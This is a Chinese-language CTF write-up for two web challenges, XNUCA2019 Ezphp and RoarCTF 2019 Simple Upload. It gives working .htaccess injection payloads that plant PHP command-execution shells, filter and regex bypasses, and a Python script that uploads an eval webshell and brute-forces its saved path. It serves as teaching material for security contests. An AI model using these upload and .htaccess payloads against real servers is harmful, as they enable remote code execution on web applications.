buuoj日记-4

XNUCA2019 Ezphp, RoarCTF 2019 Simple Upload

XNUCA2019 Ezphp

简单的代码审计题,直接给了源码,很简单

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

分析

其实题目的意思很简单,可以整理一下思路:

1.上传文件,可控参数为文件名和文件内容

2.文件名有过滤,文件名只允许出现小写字母和.

3.文件内容有过滤,不能出现,on,html,type,flag,upload,file

4.做了两次unlink的操作,会把上传的普通文件都删除

5.上传的内容中结尾会加上Just one chance,必须要加上\将这里的\n转义才可以,否则htaccess会报错500

因为它会自动删除执行scandir('./')之后的文件,所以我们用以上传的文件可以是.htaccess文件即可。

在.htaccess文件中是可以重新设置php.ini的,也可以添加新的变量,而这里用到了一个自动载入的方法(还是之前做AWD的时候学到的)

上传文件.htaccess,

此处还有一个过waf的手法,因为\是代表换行,所以这里的\用以过对file的过滤,因为apache中的解析规定,注释是要换行的,而这里如果不把小马给注释掉,那.htaccess文件是无效的,会失败。

1
2
3
php_value auto_prepend_fi\
le ".htaccess"
#<?php ?>

所以这样就能进行一步步的读取flag了

payload

1
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0A%23<?php%20system('ls /');?>\

1
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0A%23<?php%20system('cat%20/fl[a]g');?>\

这里的flag可以通过fl[a]g进行绕过,后来看了官方wp,这是非预期,我猜应该是出题人没有想到通过fl[a]g这种手法过bypass吧。

拓展:

官方的wp还给出了另外的几种解法

预期解

因为源码中有一个看似非常多余的include_once("fl3g.php");,这里其实是一个提示,可以在.htaccess中设置include_path来设置文件包含的路径,例如我设置为/tmp那么当tmp下有fl3g.php的时候就能够成功的包含,而我们可以有这样的手段,

(来自NeSE-Team的官方Writeup)

1.设置错误日志的路径为/tmp/fl3g.php

2.在包含路径中写马,然后访问错误就会被写进日志,也就是fl3g.php,到这里就成功写马了,这里通过utf7Bypass

3.然后再去包含,成功读马

另外一个非预期

这里的正则很有意思,if(preg_match("/[^a-z\.]/", $filename) == 1,这样就可以通过.htaccess进行一个绕过,

上传.htaccess

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

这样preg_match返回为False,正则直接就失效了,然后就直接正常上马了。
如果要防止这个情况可以写成if(preg_match("/[^a-z\.]/", $filename) !== 0

RoarCTF 2019 Simple Upload

上来直接整源码

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

看到了命名空间,知道这是个thinphp,但是不知道具体是啥,看来看去,最后确认这是单模块的Thinkphp,此处的入口是/index.php/home/index/upload,这题的代码很少,也没啥东西有意思的,可以确认是多文件上传,其实就是看写脚本的能力了,本来不想写Writeup的,但是觉得这里的写代码的思维还是很好的,有启发性,所以也写一下exp

分析

测试上传成功以后返回的是json

1
{"url":"\/Public\/Uploads\/2020-01-21\/5e26f5d1e7d19.txt","success":1}

这里给我们处理的是一个文件,我们只要同时上传一个文件加一只马,服务器处理的只是第一只,第二只的路径就要写脚本爆破了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
import json

url = "http://747cbecd-eb04-417e-a171-9f34e8cf25df.node3.buuoj.cn/index.php/home/index/upload"

files = {"file": ("a.txt", 'a'), "yds": ("b.php", '<?php eval($_GET["yds"]);')}

response = requests.post(url, files=files)

param = json.loads(response.content)

sand = param['url'].split('/')[4].split('.')[0]

sand = int(sand, 16)

while True:

path = "http://747cbecd-eb04-417e-a171-9f34e8cf25df.node3.buuoj.cn/Public/Uploads/"+param['url'].split("/")[3]+"/%s.php" % str(sand)[2:]

try:
r = requests.get(path, timeout=1)
except:
continue

if r.status_code == 429: #防止访问次数过多导致的429
time.sleep(0.5)
continue

elif r.status_code != 404:#当不是404时,就成功找到
print(path)
print(r.text)
break
print(str(sand[2:]), r.status_code)
sand -= 1

image-20200121214258566

题目也是需要一定运气的,半天没跑出来。。。